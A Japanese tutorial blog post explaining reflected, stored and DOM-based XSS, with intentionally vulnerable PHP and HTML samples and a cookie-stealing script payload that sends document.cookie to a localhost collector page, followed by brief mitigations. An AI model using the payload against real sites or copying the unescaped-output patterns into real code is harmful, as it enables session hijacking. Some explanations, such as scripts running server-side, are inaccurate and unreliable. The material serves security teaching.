具体的なコードでXSS(クロスサイトスクリプティング）学ぶ

どうもこんにちは、ikkyuです。XSSについてまとめる機会があり、せっかくなので記事にしたいと思います。初学者の方にはちょっとややこしいですよね。また具体的なコードを使って説明しているサイトが少ないためイメージがつきにくいというのもあると思います。

twitter:[@ikk_hck](https://twitter.com/ikk_hck)

#XSSって？
　おおまかに説明すると以下のようになります。読んでわからない部分があってまだ大丈夫です。
<ul>
<li>[IPA（情報処理推進機構）](https://www.ipa.go.jp/files/000086442.pdf)によると、ウェブサイトの脆弱性の種類別の届出状況において58％がクロスサイトスクリプティング
</li>
<li>外部からウェブサイトにスクリプトを挿入できてしまうというのが根本的な問題
</li>
<li>さらに攻撃対象としてはユーザの入力に対して動的にページを生成するようなアプリが基本的に対象
</li>
<li>最近はクロスサイト（今回の場合はリダイレクトされること）されなくてもクロスサイトスクリプティングと呼ばれるので初学者の方が混乱しがち
</li>
</ul>

#同一生成元ポリシー
　まず前提としてブラウザには同一生成元ポリシーという制限がります。例えば、私がほかのサイトを閲覧した時、そこに書かれていたスクリプトを私のブラウザが実行してしまったとしても、そのスクリプトは私のブラウザのCookieなどを取得することはできません。詳しくは[同一オリジンポリシー](https://developer.mozilla.org/ja/docs/Web/Security/Same-origin_policy)などのサイトにおまかせします。
　要するに、ブラウザは「同一生成元ポリシー」の考え方のもと作られているので、あるサイトから読み込まれたスクリプトが、他のサイトのデータにアクセスすることはできません。そして、XSSは同一性制限ポリシー制限を回避することが目的です。

#XSSの種類
XSSには以下の３種類があります。
<ul>
<li>反射型XSS</li>
<li>格納型XSS</li>
<li>DOM-based XSS</li>
</ul>

下図を見てください。
![Screen Shot 2021-05-16 at 4.31.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/c6576ba7-67d9-854e-0327-1ec02f76fbda.png)

　はじめてXSSにふれる方には以下のような説明にあまりピンとこないかもしれませんが、大丈夫です。さらっとよんで記事を読み終わったら再びここを読んでみてください。
　まずは横長の枠ですが、反射型と格納型が入っています。これらはサーバ側で攻撃用のスクリプトが実行されます。逆にDOM-based型はフロント側で攻撃用スクリプトが実行されます(※基本的に)。
　次に縦長の枠ですが、DOM-based型は反射型に分類されるので、反射型と同じ枠に入っています。反射型とDOM-based型ある意味で仕組みが似ているため、DOM-based型は反射方のサブカテゴリーに分類されます。

#反射型

<ol>
<li>攻撃者は偽メールや偽サイトに不正なスクリプトを含んだリンクを用意</li>
<li>それを踏ませて脆弱性のあるWEBサイトに誘導する（リクエストさせる）</li>
<li>ユーザーのブラウザで不正なスクリプトを実行</li>
<li>情報の搾取やマルウェアのダウンロード</li>
</ol>
のような流れになります。リクエストした者にスクリプトが返ってくることから、「反射型XSS」と呼ばれています。

以下の図のようになります。
![Screen Shot 2021-05-17 at 1.44.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/be12ce35-a58a-bf74-f9b0-f2f3e5a6cdcc.png)


たとえば、図の中の①で攻撃者が用意したリンクがありますが、このなかの`http://localhost/sample.php`というサイトが以下のようなものと仮定します。

```php
<?php
  session_start();
?>

<?php
    header("Content-Type: text/html; charset=UTF-8");
    $input = filter_input(INPUT_GET, "q");
?>

<!doctype html>
<html>
<head>
    <title>xss</title>
</head>
<body>
    <form>
        <input type="text" name="q" value="<?=$input?>">
        <input type="submit" value="search">
    </form>
<?php
    if($input):
?>
    <?=$input?>がみつかりました
<?php
    endif;
?>
</body>
</html>
```

ページの出力はこのようになります。
![Screen Shot 2021-05-16 at 19.41.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/2a2bf650-1260-906d-6c78-865049db26fb.png)

余談ですが、XAMPPをつかって環境構築する際に、macの場合、chromeをつかってXAMPPをダウンロードするとうまくいかなかったので注意。私の場合safariからだとうまくいきました。

![Screen Shot 2021-05-17 at 0.16.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/671144f5-9e01-aa08-067f-4570776ecff3.png)



↑の入力フォームになにか入力すると
![Screen Shot 2021-05-17 at 0.16.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/2fa32d63-2a4b-2dc0-9bcf-a819f91babaa.png)

このようになります。
ここで、``http://localhost/sample.php?q=<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>``
のリンクをメールなどに添付し、誰かにリンクを踏ませます。クエリにわたしているjsでは、まずidという変数にcookieを入れて、次にその変数を保持したままtmp.phpにリダイレクトするよう記述しています。リンクをクリックすると、

```php
<?php
    if($input):
?>
    <?=$input?>がみつかりました
<?php
    endif;
?>
```
sample.php内の<?=$input?>の部分に

```javascript
<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>
```
というjsが挿入され、発火して予定通りページがcookieを保持したままtmp.phpにリダイレクトされます。tmp.phpは、たとえば以下のようにすると

```php
<?php
    header("Content-Type: text/html; charset=UTF-8");
    $input = filter_input(INPUT_GET, "sessionid");
?>

<!doctype html>
<html>
<head>
    <title>xss</title>
</head>
<body>
    <?=$input?> 
</body>
</html>
```
受け取ったsessionidの内容を$inputに格納し、それを表示します。

![Screen Shot 2021-05-17 at 0.09.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/3dee5616-3391-b0dc-cf22-094c0e3dc016.png)

セッションIDが表示されていることがわかります。

#格納型
格納型の特徴としては
<ul>
<li>データベースにスクリプトが書き込まれる</li>
<li>ユーザは通常通りにWebアプリを使用するだけで攻撃が実行される
</li>
<li>時間が経ってから不特定多数のユーザーに攻撃できてしまう
</li>
</ul>
などがあげられます。
![Screen Shot 2021-05-17 at 0.45.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/8d0c3e32-fd8a-265c-5237-c984e1ea8815.png)

　掲示板サイトを例に説明します。まず攻撃者が不正なスクリプトを含む文字列を掲示板に投稿します。するとWebアプリケーションが利用するデータベースに不正な動作をするスクリプトが保存されます。
　こうなれば、反射型のように、HTTPリクエスト中に攻撃コードの記述があるかどうかに関係なく、Webページ上で持続的にスクリプトが動作します。ユーザーがアクセスする度にコードが実行されるため、被害が拡大する傾向があります。

#DOM-based型
特徴として
<ul>
<li>反射型のサブカテゴリー</li>
<li>クライアントのブラウザ上で動作</li>
<li>HTMLにスクリプトを埋め込まない</li>
<li>ブラウザの備えているXSS保護機構を回避
</li>
</ul>
などがあげられます。HTMLにスクリプトを埋め込まないのでサーバサイドは攻撃スクリプトを出力しません。ようするに反射型と格納型がサーバ側のバグを利用した攻撃だったのに対して、DOM-base型はクライアント側のバグを利用した攻撃です。

```html
<!doctype html>
<html>
<head>
    <title>xss</title>
</head>
<body>
<script>
    document.write(decodeURIComponent (location.hash));
</script>
</body>
</html>  
```
というdom_based.htmlがあったとします。ここで、``http://localhost/dom_based.html#<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>``というリンクを作成し、反射型と同じように誰かにリンクを踏ませます。構図としては反射型のときに見た図と同じです。するとdom_based.htmlのなかのscriptタグで、リンクの#以下に記述した

```js
<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>
```
が発火し、tmp.phpにリダイレクトされcookieが漏洩します。ここで反射型との重要な違いはサーバが攻撃スクリプトを出力していないということです。
近年ブラウザ上でJavaScriptによってHTMLを操作することが増えるにつれて，DOM-based XSSの発生する割合も増加しています。

#対策
<ul>
<li>アプリケーションを最新に保つ</li>
<li>サニタイジング</li>
<li>不正メールをブロック</li>
<li>WAF</li>
<li>HTTPレスポンスヘッダのContent-Typeフィールドに文字コードを指定</li>
</ul>
などがあげられます。今回はあくまでxssの挙動や仕組みについてなのでそれぞれの対策については深入りしません。
また、DOM-basedに関しては特に
<ul>
<li>”document.write”などの代わりに”createElement”、”createTextNode”などを使う
</li>
<li>どうしても”document.write”などを使いたいならその箇所にエスケープ</li>
<li>フラグメント識別子の値の変化による挙動を確認
</li>
</ul>
なども重要になってきます。最後の「フラグメント識別子の値の変化による挙動を確認」について補足すると、反射型XSSはスクリプトがWebアプリに入力され、Webサイトから返ってくる応答のなかにスクリプトが出力されているかどうかで脆弱性の有無を判断します。
　一方、DOM-based XSSの場合は、フロントで完結するためスクリプトがWebサイトからの応答に出力されません。したがって反射型XSSと同じ方法では脆弱性の有無を診断することはできないといいうことです。


では。